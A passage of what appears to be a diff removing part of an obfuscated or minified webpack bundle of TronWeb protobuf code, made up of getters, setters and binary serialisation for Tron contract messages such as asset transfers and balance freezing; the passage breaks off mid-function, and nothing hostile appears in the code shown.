- TronWebProto.AssetIssueContract.prototype.getOrder = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 11, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setOrder = function (_0x2fe2b4) {
- return _0x1eceb3.Message.setProto3IntField(this, 11, _0x2fe2b4);
- };
- TronWebProto.AssetIssueContract.prototype.getVoteScore = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 16, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setVoteScore = function (_0x56013c) {
- return _0x1eceb3.Message.setProto3IntField(this, 16, _0x56013c);
- };
- TronWebProto.AssetIssueContract.prototype.getDescription = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 20, "");
- };
- TronWebProto.AssetIssueContract.prototype.getDescription_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getDescription());
- };
- TronWebProto.AssetIssueContract.prototype.getDescription_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getDescription());
- };
- TronWebProto.AssetIssueContract.prototype.setDescription = function (_0x35b5d4) {
- return _0x1eceb3.Message.setProto3BytesField(this, 20, _0x35b5d4);
- };
- TronWebProto.AssetIssueContract.prototype.getUrl = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 21, "");
- };
- TronWebProto.AssetIssueContract.prototype.getUrl_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getUrl());
- };
- TronWebProto.AssetIssueContract.prototype.getUrl_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getUrl());
- };
- TronWebProto.AssetIssueContract.prototype.setUrl = function (_0x24ab42) {
- return _0x1eceb3.Message.setProto3BytesField(this, 21, _0x24ab42);
- };
- TronWebProto.AssetIssueContract.prototype.getFreeAssetNetLimit = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 22, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setFreeAssetNetLimit = function (_0x67085e) {
- return _0x1eceb3.Message.setProto3IntField(this, 22, _0x67085e);
- };
- TronWebProto.AssetIssueContract.prototype.getPublicFreeAssetNetLimit = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 23, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setPublicFreeAssetNetLimit = function (_0x4a6386) {
- return _0x1eceb3.Message.setProto3IntField(this, 23, _0x4a6386);
- };
- TronWebProto.AssetIssueContract.prototype.getPublicFreeAssetNetUsage = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 24, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setPublicFreeAssetNetUsage = function (_0x31b4ca) {
- return _0x1eceb3.Message.setProto3IntField(this, 24, _0x31b4ca);
- };
- TronWebProto.AssetIssueContract.prototype.getPublicLatestFreeNetTime = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 25, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setPublicLatestFreeNetTime = function (_0x5c9b2f) {
- return _0x1eceb3.Message.setProto3IntField(this, 25, _0x5c9b2f);
- };
- _0x1eceb3.Message.GENERATE_TO_OBJECT && (TronWebProto.TransferAssetContract.prototype.toObject = function (_0x223383) {
- return TronWebProto.TransferAssetContract.toObject(_0x223383, this);
- }, TronWebProto.TransferAssetContract.toObject = function (_0x4fb0c1, _0xd23e30) {
- var _0x20f385 = {
- assetName: _0xd23e30.getAssetName_asB64(),
- ownerAddress: _0xd23e30.getOwnerAddress_asB64(),
- toAddress: _0xd23e30.getToAddress_asB64(),
- amount: _0x1eceb3.Message.getFieldWithDefault(_0xd23e30, 4, 0)
- };
- _0x4fb0c1 && (_0x20f385.$jspbMessageInstance = _0xd23e30);
- return _0x20f385;
- });
- TronWebProto.TransferAssetContract.deserializeBinary = function (_0x39575a) {
- var _0x49b801 = new _0x1eceb3.BinaryReader(_0x39575a);
- var _0x48d3cd = new TronWebProto.TransferAssetContract();
- return TronWebProto.TransferAssetContract.deserializeBinaryFromReader(_0x48d3cd, _0x49b801);
- };
- TronWebProto.TransferAssetContract.deserializeBinaryFromReader = function (_0xe728aa, _0x42d0fc) {
- for (; _0x42d0fc.nextField() && !_0x42d0fc.isEndGroup();) {
- switch (_0x42d0fc.getFieldNumber()) {
- case 1:
- var _0x21e11c = _0x42d0fc.readBytes();
- _0xe728aa.setAssetName(_0x21e11c);
- break;
- case 2:
- _0x21e11c = _0x42d0fc.readBytes();
- _0xe728aa.setOwnerAddress(_0x21e11c);
- break;
- case 3:
- _0x21e11c = _0x42d0fc.readBytes();
- _0xe728aa.setToAddress(_0x21e11c);
- break;
- case 4:
- _0x21e11c = _0x42d0fc.readInt64();
- _0xe728aa.setAmount(_0x21e11c);
- break;
- default:
- _0x42d0fc.skipField();
- }
- }
- return _0xe728aa;
- };
- TronWebProto.TransferAssetContract.prototype.serializeBinary = function () {
- var _0x3acf7f = new _0x1eceb3.BinaryWriter();
- TronWebProto.TransferAssetContract.serializeBinaryToWriter(this, _0x3acf7f);
- return _0x3acf7f.getResultBuffer();
- };
- TronWebProto.TransferAssetContract.serializeBinaryToWriter = function (_0x393b6a, _0x543cb8) {
- var _0x2f2d55 = undefined;
- (_0x2f2d55 = _0x393b6a.getAssetName_asU8()).length > 0 && _0x543cb8.writeBytes(1, _0x2f2d55);
- (_0x2f2d55 = _0x393b6a.getOwnerAddress_asU8()).length > 0 && _0x543cb8.writeBytes(2, _0x2f2d55);
- (_0x2f2d55 = _0x393b6a.getToAddress_asU8()).length > 0 && _0x543cb8.writeBytes(3, _0x2f2d55);
- 0 !== (_0x2f2d55 = _0x393b6a.getAmount()) && _0x543cb8.writeInt64(4, _0x2f2d55);
- };
- TronWebProto.TransferAssetContract.prototype.getAssetName = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.TransferAssetContract.prototype.getAssetName_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getAssetName());
- };
- TronWebProto.TransferAssetContract.prototype.getAssetName_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getAssetName());
- };
- TronWebProto.TransferAssetContract.prototype.setAssetName = function (_0x5c79d6) {
- return _0x1eceb3.Message.setProto3BytesField(this, 1, _0x5c79d6);
- };
- TronWebProto.TransferAssetContract.prototype.getOwnerAddress = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.TransferAssetContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.TransferAssetContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.TransferAssetContract.prototype.setOwnerAddress = function (_0x153ebd) {
- return _0x1eceb3.Message.setProto3BytesField(this, 2, _0x153ebd);
- };
- TronWebProto.TransferAssetContract.prototype.getToAddress = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.TransferAssetContract.prototype.getToAddress_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getToAddress());
- };
- TronWebProto.TransferAssetContract.prototype.getToAddress_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getToAddress());
- };
- TronWebProto.TransferAssetContract.prototype.setToAddress = function (_0x296cb5) {
- return _0x1eceb3.Message.setProto3BytesField(this, 3, _0x296cb5);
- };
- TronWebProto.TransferAssetContract.prototype.getAmount = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.TransferAssetContract.prototype.setAmount = function (_0x5c3e66) {
- return _0x1eceb3.Message.setProto3IntField(this, 4, _0x5c3e66);
- };
- _0x1eceb3.Message.GENERATE_TO_OBJECT && (TronWebProto.UnfreezeAssetContract.prototype.toObject = function (_0x481d4d) {
- return TronWebProto.UnfreezeAssetContract.toObject(_0x481d4d, this);
- }, TronWebProto.UnfreezeAssetContract.toObject = function (_0x16e3d8, _0x2ab7e6) {
- var _0x234114 = {
- ownerAddress: _0x2ab7e6.getOwnerAddress_asB64()
- };
- _0x16e3d8 && (_0x234114.$jspbMessageInstance = _0x2ab7e6);
- return _0x234114;
- });
- TronWebProto.UnfreezeAssetContract.deserializeBinary = function (_0xa794bc) {
- var _0x2d1995 = new _0x1eceb3.BinaryReader(_0xa794bc);
- var _0x30b499 = new TronWebProto.UnfreezeAssetContract();
- return TronWebProto.UnfreezeAssetContract.deserializeBinaryFromReader(_0x30b499, _0x2d1995);
- };
- TronWebProto.UnfreezeAssetContract.deserializeBinaryFromReader = function (_0x5e20f8, _0x23b8e6) {
- for (; _0x23b8e6.nextField() && !_0x23b8e6.isEndGroup();) {
- if (1 === _0x23b8e6.getFieldNumber()) {
- var _0xbcf415 = _0x23b8e6.readBytes();
- _0x5e20f8.setOwnerAddress(_0xbcf415);
- } else {
- _0x23b8e6.skipField();
- }
- }
- return _0x5e20f8;
- };
- TronWebProto.UnfreezeAssetContract.prototype.serializeBinary = function () {
- var _0x37b70a = new _0x1eceb3.BinaryWriter();
- TronWebProto.UnfreezeAssetContract.serializeBinaryToWriter(this, _0x37b70a);
- return _0x37b70a.getResultBuffer();
- };
- TronWebProto.UnfreezeAssetContract.serializeBinaryToWriter = function (_0x382fbe, _0x2c337d) {
- var _0x1c6931;
- (_0x1c6931 = _0x382fbe.getOwnerAddress_asU8()).length > 0 && _0x2c337d.writeBytes(1, _0x1c6931);
- };
- TronWebProto.UnfreezeAssetContract.prototype.getOwnerAddress = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.UnfreezeAssetContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.UnfreezeAssetContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.UnfreezeAssetContract.prototype.setOwnerAddress = function (_0x42be89) {
- return _0x1eceb3.Message.setProto3BytesField(this, 1, _0x42be89);
- };
- _0x1eceb3.Message.GENERATE_TO_OBJECT && (TronWebProto.UpdateAssetContract.prototype.toObject = function (_0x542608) {
- return TronWebProto.UpdateAssetContract.toObject(_0x542608, this);
- }, TronWebProto.UpdateAssetContract.toObject = function (_0x4130b3, _0x50f2c5) {
- var _0x214b13 = {
- ownerAddress: _0x50f2c5.getOwnerAddress_asB64(),
- description: _0x50f2c5.getDescription_asB64(),
- url: _0x50f2c5.getUrl_asB64(),
- newLimit: _0x1eceb3.Message.getFieldWithDefault(_0x50f2c5, 4, 0),
- newPublicLimit: _0x1eceb3.Message.getFieldWithDefault(_0x50f2c5, 5, 0)
- };
- _0x4130b3 && (_0x214b13.$jspbMessageInstance = _0x50f2c5);
- return _0x214b13;
- });
- TronWebProto.UpdateAssetContract.deserializeBinary = function (_0x20a966) {
- var _0x4d062a = new _0x1eceb3.BinaryReader(_0x20a966);
- var _0x2cf080 = new TronWebProto.UpdateAssetContract();
- return TronWebProto.UpdateAssetContract.deserializeBinaryFromReader(_0x2cf080, _0x4d062a);
- };
- TronWebProto.UpdateAssetContract.deserializeBinaryFromReader = function (_0x318db8, _0xd0d6d2) {
- for (; _0xd0d6d2.nextField() && !_0xd0d6d2.isEndGroup();) {
- switch (_0xd0d6d2.getFieldNumber()) {
- case 1:
- var _0xc83a69 = _0xd0d6d2.readBytes();
- _0x318db8.setOwnerAddress(_0xc83a69);
- break;
- case 2:
- _0xc83a69 = _0xd0d6d2.readBytes();
- _0x318db8.setDescription(_0xc83a69);
- break;
- case 3:
- _0xc83a69 = _0xd0d6d2.readBytes();
- _0x318db8.setUrl(_0xc83a69);
- break;
- case 4:
- _0xc83a69 = _0xd0d6d2.readInt64();
- _0x318db8.setNewLimit(_0xc83a69);
- break;
- case 5:
- _0xc83a69 = _0xd0d6d2.readInt64();
- _0x318db8.setNewPublicLimit(_0xc83a69);
- break;
- default:
- _0xd0d6d2.skipField();
- }
- }
- return _0x318db8;
- };
- TronWebProto.UpdateAssetContract.prototype.serializeBinary = function () {
- var _0x38521b = new _0x1eceb3.BinaryWriter();
- TronWebProto.UpdateAssetContract.serializeBinaryToWriter(this, _0x38521b);
- return _0x38521b.getResultBuffer();
- };
- TronWebProto.UpdateAssetContract.serializeBinaryToWriter = function (_0x12dfe9, _0x3bb0c1) {
- var _0x5cfbc2 = undefined;
- (_0x5cfbc2 = _0x12dfe9.getOwnerAddress_asU8()).length > 0 && _0x3bb0c1.writeBytes(1, _0x5cfbc2);
- (_0x5cfbc2 = _0x12dfe9.getDescription_asU8()).length > 0 && _0x3bb0c1.writeBytes(2, _0x5cfbc2);
- (_0x5cfbc2 = _0x12dfe9.getUrl_asU8()).length > 0 && _0x3bb0c1.writeBytes(3, _0x5cfbc2);
- 0 !== (_0x5cfbc2 = _0x12dfe9.getNewLimit()) && _0x3bb0c1.writeInt64(4, _0x5cfbc2);
- 0 !== (_0x5cfbc2 = _0x12dfe9.getNewPublicLimit()) && _0x3bb0c1.writeInt64(5, _0x5cfbc2);
- };
- TronWebProto.UpdateAssetContract.prototype.getOwnerAddress = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.UpdateAssetContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.UpdateAssetContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.UpdateAssetContract.prototype.setOwnerAddress = function (_0x3713db) {
- return _0x1eceb3.Message.setProto3BytesField(this, 1, _0x3713db);
- };
- TronWebProto.UpdateAssetContract.prototype.getDescription = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.UpdateAssetContract.prototype.getDescription_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getDescription());
- };
- TronWebProto.UpdateAssetContract.prototype.getDescription_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getDescription());
- };
- TronWebProto.UpdateAssetContract.prototype.setDescription = function (_0x3d8508) {
- return _0x1eceb3.Message.setProto3BytesField(this, 2, _0x3d8508);
- };
- TronWebProto.UpdateAssetContract.prototype.getUrl = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.UpdateAssetContract.prototype.getUrl_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getUrl());
- };
- TronWebProto.UpdateAssetContract.prototype.getUrl_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getUrl());
- };
- TronWebProto.UpdateAssetContract.prototype.setUrl = function (_0x17d754) {
- return _0x1eceb3.Message.setProto3BytesField(this, 3, _0x17d754);
- };
- TronWebProto.UpdateAssetContract.prototype.getNewLimit = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.UpdateAssetContract.prototype.setNewLimit = function (_0x5ee6e5) {
- return _0x1eceb3.Message.setProto3IntField(this, 4, _0x5ee6e5);
- };
- TronWebProto.UpdateAssetContract.prototype.getNewPublicLimit = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 5, 0);
- };
- TronWebProto.UpdateAssetContract.prototype.setNewPublicLimit = function (_0xeecf59) {
- return _0x1eceb3.Message.setProto3IntField(this, 5, _0xeecf59);
- };
- _0x1eceb3.Message.GENERATE_TO_OBJECT && (TronWebProto.ParticipateAssetIssueContract.prototype.toObject = function (_0x577f7d) {
- return TronWebProto.ParticipateAssetIssueContract.toObject(_0x577f7d, this);
- }, TronWebProto.ParticipateAssetIssueContract.toObject = function (_0x24f1b6, _0x856962) {
- var _0x2adc9a = {
- ownerAddress: _0x856962.getOwnerAddress_asB64(),
- toAddress: _0x856962.getToAddress_asB64(),
- assetName: _0x856962.getAssetName_asB64(),
- amount: _0x1eceb3.Message.getFieldWithDefault(_0x856962, 4, 0)
- };
- _0x24f1b6 && (_0x2adc9a.$jspbMessageInstance = _0x856962);
- return _0x2adc9a;
- });
- TronWebProto.ParticipateAssetIssueContract.deserializeBinary = function (_0x147ecc) {
- var _0x5baf92 = new _0x1eceb3.BinaryReader(_0x147ecc);
- var _0x167443 = new TronWebProto.ParticipateAssetIssueContract();
- return TronWebProto.ParticipateAssetIssueContract.deserializeBinaryFromReader(_0x167443, _0x5baf92);
- };
- TronWebProto.ParticipateAssetIssueContract.deserializeBinaryFromReader = function (_0x3385ca, _0x3c4502) {
- for (; _0x3c4502.nextField() && !_0x3c4502.isEndGroup();) {
- switch (_0x3c4502.getFieldNumber()) {
- case 1:
- var _0x2d1661 = _0x3c4502.readBytes();
- _0x3385ca.setOwnerAddress(_0x2d1661);
- break;
- case 2:
- _0x2d1661 = _0x3c4502.readBytes();
- _0x3385ca.setToAddress(_0x2d1661);
- break;
- case 3:
- _0x2d1661 = _0x3c4502.readBytes();
- _0x3385ca.setAssetName(_0x2d1661);
- break;
- case 4:
- _0x2d1661 = _0x3c4502.readInt64();
- _0x3385ca.setAmount(_0x2d1661);
- break;
- default:
- _0x3c4502.skipField();
- }
- }
- return _0x3385ca;
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.serializeBinary = function () {
- var _0x883c02 = new _0x1eceb3.BinaryWriter();
- TronWebProto.ParticipateAssetIssueContract.serializeBinaryToWriter(this, _0x883c02);
- return _0x883c02.getResultBuffer();
- };
- TronWebProto.ParticipateAssetIssueContract.serializeBinaryToWriter = function (_0x5d3971, _0x4fa446) {
- var _0x356603 = undefined;
- (_0x356603 = _0x5d3971.getOwnerAddress_asU8()).length > 0 && _0x4fa446.writeBytes(1, _0x356603);
- (_0x356603 = _0x5d3971.getToAddress_asU8()).length > 0 && _0x4fa446.writeBytes(2, _0x356603);
- (_0x356603 = _0x5d3971.getAssetName_asU8()).length > 0 && _0x4fa446.writeBytes(3, _0x356603);
- 0 !== (_0x356603 = _0x5d3971.getAmount()) && _0x4fa446.writeInt64(4, _0x356603);
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.getOwnerAddress = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.setOwnerAddress = function (_0x248d34) {
- return _0x1eceb3.Message.setProto3BytesField(this, 1, _0x248d34);
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.getToAddress = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.getToAddress_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getToAddress());
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.getToAddress_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getToAddress());
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.setToAddress = function (_0x21384b) {
- return _0x1eceb3.Message.setProto3BytesField(this, 2, _0x21384b);
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.getAssetName = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.getAssetName_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getAssetName());
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.getAssetName_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getAssetName());
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.setAssetName = function (_0x700f7b) {
- return _0x1eceb3.Message.setProto3BytesField(this, 3, _0x700f7b);
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.getAmount = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.ParticipateAssetIssueContract.prototype.setAmount = function (_0x4d9815) {
- return _0x1eceb3.Message.setProto3IntField(this, 4, _0x4d9815);
- };
- _0x41f10e.object.extend(_0x18d0d3, TronWebProto);
- },
- 1791: (_0x2a324d, _0x7e8437, _0x595f9b) => {
- var _0x245757 = _0x595f9b(5595);
- var _0x1b17c3 = _0x245757;
- var _0x3d2458 = "undefined" != typeof globalThis && globalThis || "undefined" != typeof window && window || undefined !== _0x3d2458 && _0x3d2458 || "undefined" != typeof self && self || function () {
- return this;
- }.call(null) || Function("return this")();
- var _0x413d2c = _0x595f9b(7764);
- _0x1b17c3.object.extend(proto, _0x413d2c);
- _0x1b17c3.exportSymbol("TronWebProto.AccountBalanceRequest", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.AccountBalanceResponse", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.AccountIdentifier", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.AccountTrace", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.BlockBalanceTrace", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.BlockBalanceTrace.BlockIdentifier", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.CancelAllUnfreezeV2Contract", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.DelegateResourceContract", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.FreezeBalanceContract", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.FreezeBalanceV2Contract", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.TransactionBalanceTrace", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.TransactionBalanceTrace.Operation", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.TransferContract", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.UnDelegateResourceContract", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.UnfreezeBalanceContract", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.UnfreezeBalanceV2Contract", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.WithdrawBalanceContract", null, _0x3d2458);
- _0x1b17c3.exportSymbol("TronWebProto.WithdrawExpireUnfreezeContract", null, _0x3d2458);
- TronWebProto.FreezeBalanceContract = function (_0x20cb6c) {
- _0x245757.Message.initialize(this, _0x20cb6c, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.FreezeBalanceContract, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.FreezeBalanceContract.displayName = "TronWebProto.FreezeBalanceContract");
- TronWebProto.UnfreezeBalanceContract = function (_0x148e47) {
- _0x245757.Message.initialize(this, _0x148e47, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.UnfreezeBalanceContract, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.UnfreezeBalanceContract.displayName = "TronWebProto.UnfreezeBalanceContract");
- TronWebProto.WithdrawBalanceContract = function (_0xe208cb) {
- _0x245757.Message.initialize(this, _0xe208cb, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.WithdrawBalanceContract, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.WithdrawBalanceContract.displayName = "TronWebProto.WithdrawBalanceContract");
- TronWebProto.TransferContract = function (_0x43f5ff) {
- _0x245757.Message.initialize(this, _0x43f5ff, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.TransferContract, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.TransferContract.displayName = "TronWebProto.TransferContract");
- TronWebProto.TransactionBalanceTrace = function (_0x3b1a37) {
- _0x245757.Message.initialize(this, _0x3b1a37, 0, -1, TronWebProto.TransactionBalanceTrace.repeatedFields_, null);
- };
- _0x1b17c3.inherits(TronWebProto.TransactionBalanceTrace, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.TransactionBalanceTrace.displayName = "TronWebProto.TransactionBalanceTrace");
- TronWebProto.TransactionBalanceTrace.Operation = function (_0x439f78) {
- _0x245757.Message.initialize(this, _0x439f78, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.TransactionBalanceTrace.Operation, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.TransactionBalanceTrace.Operation.displayName = "TronWebProto.TransactionBalanceTrace.Operation");
- TronWebProto.BlockBalanceTrace = function (_0x386b9a) {
- _0x245757.Message.initialize(this, _0x386b9a, 0, -1, TronWebProto.BlockBalanceTrace.repeatedFields_, null);
- };
- _0x1b17c3.inherits(TronWebProto.BlockBalanceTrace, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.BlockBalanceTrace.displayName = "TronWebProto.BlockBalanceTrace");
- TronWebProto.BlockBalanceTrace.BlockIdentifier = function (_0x49a14f) {
- _0x245757.Message.initialize(this, _0x49a14f, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.BlockBalanceTrace.BlockIdentifier, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.BlockBalanceTrace.BlockIdentifier.displayName = "TronWebProto.BlockBalanceTrace.BlockIdentifier");
- TronWebProto.AccountTrace = function (_0x3c01e0) {
- _0x245757.Message.initialize(this, _0x3c01e0, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.AccountTrace, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.AccountTrace.displayName = "TronWebProto.AccountTrace");
- TronWebProto.AccountIdentifier = function (_0x2c0a8e) {
- _0x245757.Message.initialize(this, _0x2c0a8e, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.AccountIdentifier, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.AccountIdentifier.displayName = "TronWebProto.AccountIdentifier");
- TronWebProto.AccountBalanceRequest = function (_0x1c901f) {
- _0x245757.Message.initialize(this, _0x1c901f, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.AccountBalanceRequest, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.AccountBalanceRequest.displayName = "TronWebProto.AccountBalanceRequest");
- TronWebProto.AccountBalanceResponse = function (_0x1ecb03) {
- _0x245757.Message.initialize(this, _0x1ecb03, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.AccountBalanceResponse, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.AccountBalanceResponse.displayName = "TronWebProto.AccountBalanceResponse");
- TronWebProto.FreezeBalanceV2Contract = function (_0x172bb2) {
- _0x245757.Message.initialize(this, _0x172bb2, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.FreezeBalanceV2Contract, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.FreezeBalanceV2Contract.displayName = "TronWebProto.FreezeBalanceV2Contract");
- TronWebProto.UnfreezeBalanceV2Contract = function (_0xb73800) {
- _0x245757.Message.initialize(this, _0xb73800, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.UnfreezeBalanceV2Contract, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.UnfreezeBalanceV2Contract.displayName = "TronWebProto.UnfreezeBalanceV2Contract");
- TronWebProto.WithdrawExpireUnfreezeContract = function (_0x38eb72) {
- _0x245757.Message.initialize(this, _0x38eb72, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.WithdrawExpireUnfreezeContract, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.WithdrawExpireUnfreezeContract.displayName = "TronWebProto.WithdrawExpireUnfreezeContract");
- TronWebProto.DelegateResourceContract = function (_0x4edcf1) {
- _0x245757.Message.initialize(this, _0x4edcf1, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.DelegateResourceContract, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.DelegateResourceContract.displayName = "TronWebProto.DelegateResourceContract");
- TronWebProto.UnDelegateResourceContract = function (_0x314d38) {
- _0x245757.Message.initialize(this, _0x314d38, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.UnDelegateResourceContract, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.UnDelegateResourceContract.displayName = "TronWebProto.UnDelegateResourceContract");
- TronWebProto.CancelAllUnfreezeV2Contract = function (_0x3d58a0) {
- _0x245757.Message.initialize(this, _0x3d58a0, 0, -1, null, null);
- };
- _0x1b17c3.inherits(TronWebProto.CancelAllUnfreezeV2Contract, _0x245757.Message);
- _0x1b17c3.DEBUG && !COMPILED && (TronWebProto.CancelAllUnfreezeV2Contract.displayName = "TronWebProto.CancelAllUnfreezeV2Contract");
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.FreezeBalanceContract.prototype.toObject = function (_0x5645d8) {
- return TronWebProto.FreezeBalanceContract.toObject(_0x5645d8, this);
- }, TronWebProto.FreezeBalanceContract.toObject = function (_0x1fb15c, _0x161cf9) {
- var _0x4182c4 = {
- ownerAddress: _0x161cf9.getOwnerAddress_asB64(),
- frozenBalance: _0x245757.Message.getFieldWithDefault(_0x161cf9, 2, 0),
- frozenDuration: _0x245757.Message.getFieldWithDefault(_0x161cf9, 3, 0),
- resource: _0x245757.Message.getFieldWithDefault(_0x161cf9, 10, 0),
- receiverAddress: _0x161cf9.getReceiverAddress_asB64()
- };
- _0x1fb15c && (_0x4182c4.$jspbMessageInstance = _0x161cf9);
